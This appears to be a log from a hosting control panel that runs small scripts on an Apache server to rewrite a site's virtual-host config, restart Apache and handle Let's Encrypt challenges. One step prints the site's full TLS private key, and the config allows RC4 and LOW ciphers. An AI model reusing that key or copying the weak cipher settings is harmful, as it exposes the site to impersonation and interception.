BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-28 06:00:57: 

chmod 755 /tmp/pkp111247; /tmp/pkp111247; rm /tmp/pkp111247

2025-12-28 06:00:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf 50

<VirtualHost *:80>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_error.log
    SetEnv pkp_uid	61
    SetEnv pkp_owner	outreach
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-28 06:00:57: 

PUT: /tmp/pkp943444

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinksoutreach_www_info.conf
TARGET=/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_error.log
    SetEnv pkp_uid	61
    SetEnv pkp_owner	outreach
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinksoutreach_www_info.conf= 1'
fi


2025-12-28 06:00:57: 

chmod 755 /tmp/pkp943444; /tmp/pkp943444; rm /tmp/pkp943444

2025-12-28 06:00:57: 




2025-12-28 06:00:57: 

PUT: /tmp/pkp335635

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-28 06:00:57: 

chmod 755 /tmp/pkp335635; /tmp/pkp335635; rm /tmp/pkp335635

2025-12-28 06:00:58: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-28 06:00:58: Establishing a connection
2025-12-28 06:00:58: 

PUT: /tmp/pkp402966

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-28 06:00:58: 

chmod 755 /tmp/pkp402966; /tmp/pkp402966; rm /tmp/pkp402966

2025-12-28 06:00:58: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-28 06:00:58: 

PUT: /tmp/pkp450112

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-28 06:00:58: 

chmod 755 /tmp/pkp450112; /tmp/pkp450112; rm /tmp/pkp450112

2025-12-28 06:00:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf	1476

<VirtualHost *:80>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_error.log
    SetEnv pkp_uid	61
    SetEnv pkp_owner	outreach
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksoutreach.info
    ServerAlias	www.carelinksoutreach.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt
    DocumentRoot	/var/www/carelinksoutreach_www
    <Directory /var/www/carelinksoutreach_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksoutreach/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksoutreach/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-28 06:00:58: 

PUT: /tmp/pkp772967

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-28 06:00:58: 

chmod 755 /tmp/pkp772967; /tmp/pkp772967; rm /tmp/pkp772967

2025-12-28 06:00:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt	5417
c5:4c:16:c9:a4:15:b1:91:f8:a1:ef:bd:91:cd:6e:b3

-----BEGIN CERTIFICATE-----
MIIFLTCCBBWgAwIBAgISBYRvmeoARayzLXYruwiaXfDiMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjI1WhcNMjYwMzI4MDUwMjI0WjAhMR8wHQYDVQQD
ExZjYXJlbGlua3NvdXRyZWFjaC5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAqenx9elU2IM3pshaACnv2kIRZo5QMABC2lrZL5Bydf1IgBR5QUCM
G6uJpzFYrXrVWZhplsXWCWPmFN5uiAPKY0N2ijhfhSUsgFHJd39AUTTEmTirR2oA
XcgnE4jlNMp6M5tbsnoAWzri0xZsB/aWPd4v61ww4ihVZXP9z7rvVwyRV61a+w0v
MTF3NGfb3LO45vvHb2JTkzf0I7Urx91wQJMhgqD7vfncrrzgZvQBRjBwpjYBtJ5o
Z1f0/VaROeRJB1acV4lBl1GH6W1AV9F2QxTnZTZQRkLBqTpQuoSF0EWLnUDtKBpy
XmQ66UEYc/8xJS3nF+/1ppwt3bpRoP9jBQIDAQABo4ICSzCCAkcwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBSZJd3uTNeaMHKhHiMBcakl6dxAqDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMD0GA1UdEQQ2MDSCFmNhcmVsaW5rc291
dHJlYWNoLmluZm+CGnd3dy5jYXJlbGlua3NvdXRyZWFjaC5pbmZvMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvOTkuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAZBHEbKQS7KeJ
HKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGbY4upwQAABAMARzBFAiEA0r0PwrlS
6ZsWraQnIZ+syTXFey9UhT5OwczZltSt+SACIDBsTeUsVZYXogXJpkfh4/G3NX0r
xR1mHmw/1eH+0Vo4AH8Apcl4kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcA
AAGbY4us/gAIAAAFAC0O3qkEAwBIMEYCIQC4vgxpyIcK5YY7VPmgXhP9F0p1acVm
dJdEsanhgSZKlQIhAPVc0AUy5xBk0TK0Z7rXmJT4I63IBwsy9Tc4BH4v1FqGMA0G
CSqGSIb3DQEBCwUAA4IBAQAdY/6EKsUDd0+9kH5xYdnBFO7ZG99o3/031fB+qrAA
IDH5cXNwbWg0K39E2xCT++2kKJ3eHRVIu/CrwTFDz3BMsrIB8pB3PY9N5lnKFdAD
E0FmRamH5k1Q5npZq0PdyyZNptu8KNd0e1xF7VQCH8yRk62X3kw0KEUqyDtSiXad
PfzAYt2ZHWV66/VPR4IbLjbzz3Gz68/GOIWfvoMCmSThz8PaPTNj8GRW7MnhtV8g
7e3QFHjtoUu4b7OuN+uUSHeWQKj2muaq/HxK5iToUjvKjKi/bgJKJX/S/TvoA9lX
T46uBwIhQB1tLXpp9IBbbv/fAFcOUVpoMa5WrsJKXBj6
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCp6fH16VTYgzem
yFoAKe/aQhFmjlAwAELaWtkvkHJ1/UiAFHlBQIwbq4mnMVitetVZmGmWxdYJY+YU
3m6IA8pjQ3aKOF+FJSyAUcl3f0BRNMSZOKtHagBdyCcTiOU0ynozm1uyegBbOuLT
FmwH9pY93i/rXDDiKFVlc/3Puu9XDJFXrVr7DS8xMXc0Z9vcs7jm+8dvYlOTN/Qj
tSvH3XBAkyGCoPu9+dyuvOBm9AFGMHCmNgG0nmhnV/T9VpE55EkHVpxXiUGXUYfp
bUBX0XZDFOdlNlBGQsGpOlC6hIXQRYudQO0oGnJeZDrpQRhz/zElLecX7/WmnC3d
ulGg/2MFAgMBAAECggEAEMB9Qn7GsVypLUsDfztN587WYwNqPyacxg++6e7r2gYm
vQ9Hr89AAQULL+4FjX+sGTFATRp5h7jPA6+1ELk5nZ/BHXosBgyBiVqG6mkkBjLq
+dBEfWijW0ZTKUc4kdkvQyHwtcqheQfNOn0zbsrjn9CQGOb19YDUf97NCfX8Mttj
4F5OJ1rMaQw/9znbjpohaROl7q524FH4kfVfH9GvAOtSbx4tryCo5V+I1Ns18Mbm
DqmBcPc1d36w9Yd6UZhnChuCIkcJeHAe+bZpMXimwQW0AcqvbYcs3luuTYuMsq5x
7kCl48t5cOpMa4pn473wTodduVUr4RmyI8EO6gWU4QKBgQDV1GJ/dQqajkxUFuaF
XSmp1hfQfg6dTjfSvgUXvsB343xUTd1JtINjuTw2G4IkKwTThcURN34ifVrSQQv4
ypWxHdYEB/2hr/vZi2H42jBXDdxiBWS3Xy5QhNhPqeuJtusD38CHyKNllrBKmWjs
F+PycFCvUiThQ9HjdF69+5OCLwKBgQDLbGJ6GO/xJIGtLFSJMah8m6AReahwDsQw
dKqlofZz+0RPsq4Osl0dVEHfQ8h+tGNyAsUJODa74BqYX2dx7yV4AsIk0BSCcmsL
5399RftygLFLtQcdmIdMeOJmjMYCnTDuWwkN0ibBsoeQW55ZpzT4RP1GHSkCz2Sg
8Auzv6glCwKBgQDD+4RHs9uDKvc0f0TLaUb9fdeX5WG5te4ePsFmMRQxDhRvJGq0
2jkulqFkKjROuAsVX97uV8FJFUG/wZSac/tdOa5lRXmmzyhzDHhAYKK7t12Njcnw
89D8RbYI1gGm2Dtw8oyBJ1jzjHiJ9y+ebIslMuIQvqZEvSdLZOZNFJ7vSwKBgB/2
Go7mhiSUQM+trGaV58wUQ5UbUUyx9T9LxVga13cnnncLMu/aNGkcSPFEXCcUPp+2
MbEeJPNl5afVLZKoKXHutQRFsUNBqPII4G4VZcl60OB9Q+3xfiiUwbWtHptgiUSa
BxUl1LMQUt5qlrmtXNQ5OrYedMgdP8lNjfki/s87AoGBAKi7orZEksK6Nk7UJfsz
YaJ0IwauKIZsrYC5RXKLLGCuMmYE7GoG3E9Wo/4sQEFrFc8NVl6tkjKfRcVFehXU
B7OPTR3ec1L2GruxV4NbWValYU9LrKhQldDf1T/uNCQjLkRmDDkz94J0ZwL2Ztht
oQXqEpwO0A8ARydPcgD+CPKR
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-28 06:00:58: Establishing a connection
2025-12-28 06:00:59: Establishing a connection
2025-12-28 06:01:00: 

PUT: /tmp/pkp344972

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-28 06:01:01: 

chmod 755 /tmp/pkp344972; /tmp/pkp344972; rm /tmp/pkp344972

2025-12-28 06:01:01: 


0


2025-12-29 06:00:03: Establishing a connection
2025-12-29 06:00:04: Establishing a connection
2025-12-29 06:00:04: 

PUT: /tmp/pkp319379

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-29 06:00:05: 

chmod 755 /tmp/pkp319379; /tmp/pkp319379; rm /tmp/pkp319379

2025-12-29 06:00:05: 


1


2025-12-29 06:00:06: Establishing a connection
2025-12-29 06:00:06: 

PUT: /tmp/pkp329080

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > elXHLIJQZN6vK-oGEE2fxFpqNVZM5byBwlqza18Pbdo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
elXHLIJQZN6vK-oGEE2fxFpqNVZM5byBwlqza18Pbdo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 elXHLIJQZN6vK-oGEE2fxFpqNVZM5byBwlqza18Pbdo


2025-12-29 06:00:06: 

chmod 755 /tmp/pkp329080; /tmp/pkp329080; rm /tmp/pkp329080

2025-12-29 06:00:06: 




2025-12-29 06:00:07: Establishing a connection
2025-12-29 06:00:09: Establishing a connection
2025-12-29 06:00:10: 

PUT: /tmp/pkp283564

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-29 06:00:11: 

chmod 755 /tmp/pkp283564; /tmp/pkp283564; rm /tmp/pkp283564

2025-12-29 06:00:11: 


0


2025-12-29 12:26:05: Establishing a connection
2025-12-29 12:26:17: Establishing a connection
2025-12-29 12:26:18: Performing Server Status
2025-12-29 12:26:18: 

PUT: /tmp/pkp328215

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
